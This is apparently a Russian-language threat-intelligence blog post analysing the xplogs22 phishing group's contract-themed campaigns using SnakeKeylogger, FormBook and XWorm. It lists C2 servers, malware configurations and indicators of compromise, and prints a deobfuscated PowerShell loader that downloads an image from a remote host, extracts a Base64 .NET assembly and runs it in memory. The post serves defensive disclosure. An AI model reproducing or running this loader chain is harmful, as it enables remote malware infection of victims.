Вернуться назад

Чемпионат по контрактам: изучаем эволюцию атак киберпреступной группировки xplogs22

Кампания с использованием XWorm продолжается год. За это время злоумышленники отправили атакуемым организациям более 2900 фишинговых писем.

Чемпионат по контрактам: изучаем эволюцию атак киберпреступной группировки xplogs22

Киберпреступные группы, атакующие Россию, отличаются разнообразием. Среди них есть те, кто специализируется на взломе исключительно российских компаний, а есть и такие, для кого организации в РФ — главная, но далеко не единственная цель. И среди них тоже есть разделение:  одни киберпреступники предпочитают работать преимущественно по странам СНГ, а другие  масштабируют свои атаки на  Западную Европу, Ближний Восток и Юго-Восточную Азию.

В этом блоге разберем атаки группы, которой специалисты F6 Threat Intelligence присвоили название xplogs22 — по электронному адресу, использовавшемуся злоумышленниками в атаках для эксфильтрации похищенных данных.

xplogs22 — киберпреступная группировка, активная как минимум с ноября 2023 года. Проводит массовые фишинговые атаки на организации из разных стран. Использует в атаках троян удалённого доступа XWorm, ранее применяла вредоносное ПО SnakeKeylogger и стилер FormBookFormgrabber.

Обнаруженные специалистами F6 атаки xplogs22 преимущественно нацелены на Россию и другие страны СНГ. Большинство текстов писем группы написаны на русском языке, но встречаются также письма на английском, арабском, казахском и турецком. Большая часть фишинговых писем связана с юридической  тематикой оформления и заключения договоров.

Компании, которые атакует группировка, в основном относятся к таким отраслям, как:

  • торговля;
  • энергетика;
  • промышленность;
  • наука и инженерия;
  • строительство;
  • здравоохранение;
  • информационные технологии;
  • финансы;
  • развлечения;
  • телекоммуникации;
  • спорт;
  • добыча полезных ископаемых;
  • ЖКХ;
  • сельское хозяйство;
  • транспорт.

В ранних атаках злоумышленники использовали в рассылках вредоносную программу SnakeKeylogger, также было обнаружено несколько атак с применением стилера FormBook.

С июля 2025 года данный кластер активности начал рассылать письма с трояном удаленного доступа XWorm и вносить изменения в цепочки атак. Кампания с использованием XWorm на момент исследования в июле 2026 года продолжается. За это время злоумышленники отправили компаниям более 2900 фишинговых писем.

В этом блоге мы исследуем хронологию активности группировки xplogs22 и акцентируем внимание на свежих атаках с использованием XWorm: раскроем технические детали, изменения в цепочках атак, а также поделимся индикаторами компрометации.

Основные характеристики xplogs22

В январе 2025 года в процессе мониторинга угроз в системе F6 MXDR специалисты Threat Intelligence обнаружили несколько фишинговых писем на русском языке с темой «Договор», отправленных со скомпрометированного электронного адреса российской компании. В качестве вложений к письмам злоумышленники использовали архив Contract.bz с файлом Contract.exe внутри, запуск которого заражал систему вредоносным ПО SnakeKeylogger.

SnakeKeylogger — вредоносное ПО, впервые обнаруженное в 2020 году. Совмещает возможности стилера и кейлогера. В его функционал входит кража информации с системы жертвы, включая различные учетные данные, а также считывание нажатий клавиш пользователя.

В ходе исследования семпла Contract.bz (SHA1: 77dd63cfcc939137e6edd31d5f1acd673fd0339b) была обнаружена следующая конфигурация.

 {'Snake': {'Type': ['SMTP'], 'Host': ['mail[.]murchisonspice[.]co[.]za'], 'Port': ['587'], 'From Address': ['accounts@murchisonspice[.]co[.]za'], 'To Address': ['xplogs22@yandex[.]com'], 'Password': ['<REDACTED>']}} 

В данном случае эксфильтрация похищенных данных осуществлялась через SMTP-протокол, и в качестве целевого электронного адреса был указан xplogs22@yandex[.]com, который и послужил основанием для именования группировки.

В результате исследования фишинговых рассылок со SnakeKeylogger с использованием того же домена для эксфильтрации похищенных данных, как в конфигурации выше (mail[.]murchisonspice[.]co[.]za), были обнаружены письма на арабском и английском языках аналогичной тематики. Кроме того, в ходе ретроспективного анализа удалось установить, что группа xplogs22, предположительно, начала свои атаки как минимум с ноября 2023 года и периодически меняла адреса для эксфильтрации. Также в некоторых атаках было замечено использование стилера FormBook.

Анализ одного из вредоносных семплов SnakeKeylogger группы xplogs22 из атак 2025 года доступен на Malware Detonation Platform от компании F6 по ссылке.

Аналитики F6 Threat Intelligence выявили ряд особенностей атак группировки xplogs22:

  • темы писем, преимущественно связанные с договорами (например, «Договор», «Contract/Договор», «Contract / عقد العمل») и платежами («Payment», «Квитанция об оплате», «Копия платежа»);
  • имена архивов из вложений писем, зачастую соответствующие шаблонам Contract* (Contract.bz, Contract_0103.bz), Payment* (Payment.bz) и MB*AE (MB267382625AE.bz, MB267382625AE.txz, MB268382625AE.pdf.bz2);
  • использование в письмах русского, арабского и английского языков;
  • рассылки преимущественно с российских и белорусских электронных адресов.

В июле 2025 года мы обнаружили новую кампанию группировки с использованием ВПО XWorm, которая продолжается и сейчас, на момент исследования в июле 2026 года. С началом использования нового трояна группировка стала видоизменять цепочки атак: внутри вложений писем, помимо привычных .exe-файлов, начали также доставляться файлы с расширениями .vbs, .hta или .bat.

Далее разберём технические детали атак xplogs22 за последние двенадцать месяцев.

Фишинговая кампания xplogs22 с использованием XWorm

XWorm — троян удалённого доступа на основе .NET. Впервые появился на хак-форумах в 2022 году. С помощью этого ВПО злоумышленники могут получить скрытый удаленный доступ к системе жертвы, похищать из нее различные данные и размещать в ней дополнительные вредоносные модули.

Пытаясь имитировать действия реальных компаний, группировка xplogs22 в основном использовала в своих рассылках электронные адреса в доменной зоне .ru. В атаках также встречались почты с доменами верхнего уровня .by, .uz, .kz, .ae, .tr, .net, .com, .org.

Рассылки осуществлялись с различных ресурсов:

  • с IP-адресов группировки, в том числе используемых ей в качестве C2;
  • с серверов хостинговых сервисов;
  • с почтовых серверов российских и белорусских организаций.

В части  атак кибергруппа подменяла e-mail отправителя с помощью спуфинга. В других атаках, предположительно, для рассылок использовались скомпрометированные электронные адреса российских и белорусских организаций.

В фишинговых письмах xplogs22 с ВПО XWorm, как и в атаках со SnakeKeylogger, встречался текст на русском, арабском и английском языках. Также было замечено несколько писем с использованием казахского и турецкого языков.

Темы писем:

  • Contract
  • Contract / عقد العمل
  • Contract / договор
  • Letter of Intent (LOI 554-2025 )
  • Letter of Intent (LOI 554-2025 )/Contract
  • Копия контракта
  • Contract
  • Договор/Contract
  • Contract /Договор
  • Contract/Договор
  • Договор
  • Проект контракта
  • Contract (ATTACHED)
  • Договор
  • нов договор
  • RE: Страховка Антиклещ
  • Contract — Consent LLC
  • Договор 035/063/2025-8
  • Привет
  • Payment receipt
  • Payment- Receipt
  • Contract/Sözleşme
  • Contract_234_17_06_26
  • Проект договора для вашего ознакомления
  • 06.2026
  • 06.2026
  • ايصال معاملة- Transaction Receipt — MB318767074AE
  • подписанный договор

Имена файлов вложений:

●      Contract.bz

●      MB267382625AE.rar

●      MB267382625AE.zip

●      Contract.rar

●      MB267382625AE.bz

●      LOI 554-2025.bz

●      Contract_092_28_07_25.bz

●      MB267382625AE.PDF.bz

●      contract.zip

●      Contract_09_03_25_9021.bz

●      Contract_339_10_09_25.bz

●      Contract_0908_30_09_25.bz

●      Contract-10738.bz

●      Contract_0902178293.bz

●      Contract_090217291.bz

●      Contract_09023192.bz

●      Contract_08935729.bz

●      Contract_90263792.bz

●      Contract_09284792.bz

●      Contract_90367282.bz

●      Contract_02930128.bz

●      Contract_090_24_04_26.bz

●      Contract_0903_25_03_26.bz

●      Contract_092_31_03_26.bz

●      Contract_0902_717.bz

●      Contract_902_23_04_26_Consent LLC.bz

●      Contract_6728.bz

●      Payment receipt.bz

●      Contract.pdf.bz

●      Payment Receipt No MB317128037AE.pdf.r13

●      Contract_234_17_06_26.r13

●      Contract_1029_170626.r13

●      MB317963717AE.r13

●      Contract.r13

●      MB318767074AE.r13

●      payment_order_5772_30.06.2026.r13

●      payment_order_5774_30.06.2026.r13

Среди обнаруженных специалистами F6 атак группировки xplogs22 с использованием XWorm бо́льшая часть была нацелена на страны СНГ: Россию, Беларусь, Казахстан, Армению, Азербайджан и Узбекистан.

Также были замечены атаки xplogs22 на другие страны, среди которых — ОАЭ, Ливан, Пакистан, Турция, Индия, Болгария, Бразилия, Гонконг, Канада, Кипр, Чехия, Эстония, Германия, Венгрия, Италия, Япония, Южная Корея, Латвия, Нидерланды, Норвегия, Польша, Испания, Швеция, Швейцария, Великобритания и США.

Ниже в галерее представлены примеры фишинговых писем xplogs22 на различных языках.

Кибергруппа xplogs22 периодически меняла С2-адреса. Ниже представлен их перечень за период с июля 2025 года по июль 2026 года.

C2 Порт
xpwarzonlin2[.]ddns[.]net (167[.]160[.]161[.]140) 1012
91[.]92[.]241[.]52 1012
178[.]16[.]55[.]121 1996
84[.]38[.]129[.]7 8018
31[.]56[.]209[.]80 1996
31[.]56[.]209[.]126 1996
84[.]38[.]129[.]122 443
109[.]248[.]150[.]234 443

На начало июля 2026 года группировка использует IP-адрес 109[.]248[.]150[.]234. Анализ одного из июльских вредоносных семплов xplogs22 на Malware Detonation Platform от компании F6 доступен по ссылке.

В следующих разделах разберем более подробно примеры некоторых цепочек атак группировки, проанализированных специалистами F6.

Анализ цепочки атаки с .exe-дроппером

На рисунке ниже представлена схема киллчейна xplogs22 с .exe-дроппером.

TODO: описать картинку

Рисунок 6 — Цепочка атаки с .exe-дроппером

Первичным вектором заражения выступает фишинговое письмо с архивом Contract.bz (SHA1: 7d813269452978f5a799bf1aa6336315d5e0909a). В ходе атаки жертва под видом полезного файла запускает дроппер Contract.exe (SHA1: 93812c466b6e647bc89252984c95bc254b229a29), который создает свою копию с именем bin.exe по пути C:\Users\{username}\AppData\Roaming и закрепляется в системе за счет создания на bin.exe ярлыка bin.lnk в личной папке автозагрузки для текущего пользователя.

Далее происходит последовательное извлечение промежуточных полезных нагрузок в память текущего процесса методами стеганографии из хранящихся в ресурсах изображений, а финальная полезная нагрузка — ВПО XWorm версии 6.0 (Xw0925.exe).

Извлеченная конфигурация XWorm выглядит следующим образом.

 Hosts: 91[.]92[.]241[.]52

Port: 1012

Key: 666666

SPL: Xwormmm

Groub: XWorm V6.0

USBNM: USB.exe

InstllDir: C:\Users\{username}\AppData\Roaming

InstallStr: bin.exe

Mutex: TU5JvHwWfPU927Jc 

Анализ цепочки атаки с .hta-загрузчиком

На рисунке ниже представлена схема киллчейна xplogs22 с .hta-загрузчиком.

TODO: описать картинку

Рисунок 7 — Цепочка атаки с .hta-загрузчиком

Архив из вложения письма Contract_90367282.bz (SHA1: 11d70ff78e9c20c81ed6bf66c9800446c3f6c59a) содержит файл Contract_90367282.hta (SHA1: 0a09599292ef433839a1bb9102de9c121265884e). Этот файл обфусцирован с помощью большого количества мусорных строк, после удаления которых файл выглядит, как представлено на рисунке ниже.

Рисунок 8 — Преобразованный файл Contract_90367282.hta
Рисунок 8 — Преобразованный файл Contract_90367282.hta

Для сокрытия файла при запуске используется блок <head>, благодаря которому не отображается окно, отсутствует иконка на панели задач и пользователь не может взаимодействовать с запущенным семплом.

Переменная  polyadelphianualisations содержит строку, обфусцированную с помощью блоков символов. В процессе работы семпла каждый блок символов удаляется и в результате получается следующий powershell-скрипт.

 powershell -NoProfile -WindowStyle Hidden -Command \"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('" + congrogadus + "')) | Invoke-Expression\"" 

Данный скрипт выполняет дешифровку команды с помощью манипуляций с блоками символов и декодирования из Base64, а затем запускает её. В итоге получается следующий скрипт.

 $pryany = New-Object System.Net.WebClient;$pryany.Headers.Add("User-Agent", "Mozilla/5.0");
$pryany.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
$pryany.Headers.Add("Accept-Language", "en-US,en;q=0.9");
$pyometra = 'hxxps://ia600506[.]us[.]archive[.]org/11/items/amd_msi/optimized_MSI.png'.Replace('h', 'h').Replace('t', 't').Replace('p', 'p').Replace('s', 's');
$hogger = $pryany.DownloadData($pyometra);
$precognitively = [System.Text.Encoding]::ASCII.GetString($hogger);
if ($precognitively -match 'BaseStart-(.*?)-BaseEnd') 
{ 
        $canales = $matches[1];
        $separably = [Reflection.Assembly]::Load([Convert]::FromBase64String($canales));
        $argsBase64 = ''=QHe05SNwUjM3ETOxIDM2IDMy81b2lWdxJXYvUWYucmbpNyIjMyIpJXbhVGdv8iOjMyIjMCc0RHa','0','C:\Users\Public\Downloads\','Name_File','RegAsm','','RegAsm','1','URL','C:\Users\Public\Downloads\','Name_File','hta','1','0','Task_Name','0','','','''; 
        $argsString = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($argsBase64)); 
        $args = $argsString -split ',' | ForEach-Object { $_.Trim('''"' ) }; 
        [Software.Program].GetMethod("Main").Invoke($null, $args);
} 

Этот скрипт инициализирует WebClient, формирует и загружает файл optimized_MSI.png с URL hxxps://ia600506[.]us[.]archive[.]org/11/items/amd_msi/optimized_MSI.png, извлекает данные из загруженного изображения по заголовкам BaseStart- (начало блока данных) и -BaseEnd (конец блока данных). Затем полученный текст декодируется из Base64 и загружается как .NET-сборка.

Данная сборка — загрузчик VMDetector Loader, который в ходе своего исполнения загружает с hxxps://teamrising[.]ae/arquivo_20260219172505.txt и декодирует с помощью алгоритма Base64 -> reverse bytes исполняемый файл, классифицируемый как XWorm. Далее VMDetector Loader сохраняет полученный XWorm с именем bin.exe, добавляет его в автозагрузку с помощью ярлыка bin.lnk к файлу bin.exe, запускает легитимный процесс RegAsm.exe и внедряет в него код XWorm.

Также сборка VMDetector Loader поддерживает проверки на наличие VM, обход UAC и закрепление через реестр, однако данный фунционал не был задействован в текущей атаке. Для обнаружения VM используется информация о BIOS, системе, дисках, PnP-устройствах и запущенных процессах.

Конфигурация финальной полезной нагрузки XWorm.

 Hosts: 178[.]16[.]55[.]121

Port: 1996

Key: V7PV7PV7PV7PV7P

SPL: Xwormmm

Groub: XWorm V7.1

USBNM: USB.exe

InstllDir: C:\Users\{UserName}\AppData\Roaming

InstallStr: bin.exe

Mutex: Y63aW9WeyTLJnmTE 

Также специалисты F6 исследовали цепочку атаки xplogs22 с .vbs-загрузчиком Contract_0902178293.vbs (SHA1: cd30849d675ac8fdc550c36bfe22b8fc156f78a9), доставляемом в архиве Contract_0902178293.bz (SHA1: 871a99f254980e456610fcf66defeec67395d7ed). Установлено, что цепочка претерпела минимальные изменения по сравнению с киллчейном .hta-загрузчика, и все последующие стадии в цепочках были аналогичны.

Выводы

Группировка xplogs22, атаки которой мы рассмотрели в этом блоге, делает ставку на масштабы, выполняя рассылки большими партиями на десятки стран и оформляя письма сразу на нескольких языках. Эти злоумышленики довольно консервативны — используют повторяющиеся темы и имена файлов, а также редко меняют свой инструментарий, оставаясь приверженными одному вредоносному ПО в течение длительного периода времени.

Индикаторы компрометации

IP-адреса и домены

xpwarzonlin2[.]ddns[.]net (167[.]160[.]161[.]140)

91[.]92[.]241[.]52

178[.]16[.]55[.]121

84[.]38[.]129[.]7

31[.]56[.]209[.]80

31[.]56[.]209[.]126

84[.]38[.]129[.]122

109[.]248[.]150[.]234

Ссылки

hxxps://res[.]cloudinary[.]com/dxxyxpqxg/image/upload/v1769187753/optimized_MSI_nthgyz.jpg

hxxps://teacoffeepremix[.]in/arquivo_20260129001516.txt

hxxps://ia600603[.]us[.]archive[.]org/13/items/msi-pro-with-b-64_202602/MSI_PRO_with_b64.png

hxxps://teamrising[.]ae/arquivo_20260215235351.txt

hxxps://ia600506[.]us[.]archive[.]org/11/items/amd_msi/optimized_MSI.png

hxxps://teamrising[.]ae/arquivo_20260219172505.txt

hxxp://ksda[.]ct[.]ws/arquivo_20260225190035.txt

hxxps://ia601409[.]us[.]archive[.]org/19/items/optimized_msi_20260303_1054/optimized_MSI.png

hxxps://kascas[.]gt[.]tc/img_193835.png

hxxps://pngup[.]com/xV1t/MSI_PRO_with_b64.png

hxxps://ziaintegracion[.]com/img_043050.png

hxxps://chinasite[.]com[.]br/MSI_180922.png

hxxps://screenshot[.]finance/MSI_141148.png

Файлы (SHA1)

12df3e92ff9d7efd077d6404408b5b5a2d3b16e4

f7436601c6792e165708b711a5efa0ce8f924a66

02a7b9c934b9926d7476d1bdc592d934d11aa29b

f04c0953e5169beb168fd9ebcba96ce5d2d38a92

697ffae27010c0f8b569f41c0c7ec77d22aa607e

6bbb36dc96230667e363d62881a6166ec67b8a89

ec74ffa3c68b7ac6080254276fc4761b733b1acc

a85c814c02125b7d7d045683b28a40b4c4f2b735

0f476eae87794f4594919e79dc2522477a7a7d65

93812c466b6e647bc89252984c95bc254b229a29

7d813269452978f5a799bf1aa6336315d5e0909a

871a99f254980e456610fcf66defeec67395d7ed

cd30849d675ac8fdc550c36bfe22b8fc156f78a9

11d70ff78e9c20c81ed6bf66c9800446c3f6c59a

0a09599292ef433839a1bb9102de9c121265884e

2d6769e779a530305cb0d13f4227cae4fd08397a

8a5d756207fe648d781384aca9cd86fc453d8a3e

570242da3ead234f76d869f4f200da8736bc410b

c3363f1e6221dc714c54d49e9896f687c3b76da7

1b070da0a9234b24012ad36324894d20363414ed

7a4e82a8d77b108d18293cc961ca9bdb5dafb209

4471b45ba98eaa9db4cfd3f1081f8e4dda0b0fb3

3e805a99a86e360011c1c032cff5d539925fd63b

5e586c9a16f973c123fb15654093ead7ba5580a2

af69a992f7760a6fff8e7ce3d8a21619a8387033

d4d1fd1afa801ffeb4b54173471f03e6f75b6dfb

39e6126aad3e8ef37bf511a2fec7dafc8c2830ab

366164d672388f00a3c08cfa32d67d8b829eff93

4a0c67cc360c790ac8c0896604938ac94b486ec0

453850f6869cd86a16067162ada33ce153d420be

ef25fa56c5e0f73090d27dd41039dd2522504943

ea09c3faab643b88b5d43046d840a7e3e40253d8

dcf592a56e432ff8141fbd64d7a8d15a86b315d1

c98556c2b239d8ab55658fe97f212640bf98cbef

e5b477a967673a770419b859bf4c7994d396fd96